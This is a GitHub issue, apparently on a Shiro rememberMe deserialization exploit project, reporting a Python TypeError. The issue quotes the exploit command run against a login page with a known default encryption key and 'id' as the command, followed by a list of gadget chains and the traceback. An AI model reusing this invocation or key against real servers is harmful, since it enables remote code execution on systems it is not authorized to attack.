Skip to content

Python 3.7.6 运行报错 #1

Open
@is101101

Description

@is101101

❯ python shiro_rememberMe_Rce.py http://10.43.43.157:8081/login.jsp kPH+bIxk5D2deZiIxcaaaA== id
[-] not support gadget: CommonsBeanutils1
[-] not support gadget: CommonsBeanutils2
[-] not support gadget: CommonsCollectionsK1
[-] not support gadget: CommonsCollectionsK2
[-] not support gadget: Jdk7u21
[-] not support gadget: Jdk8u20
[+] start execute command
Traceback (most recent call last):
File "shiro_rememberMe_Rce.py", line 65, in
attack()
File "shiro_rememberMe_Rce.py", line 50, in attack
cookie_payload = encode_rememberme(sys.argv[2],support_gadget)
File "shiro_rememberMe_Rce.py", line 13, in encode_rememberme
with open('./gadget/'+gadget+'.class','rb+') as f:
TypeError: can only concatenate str (not "NoneType") to str

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions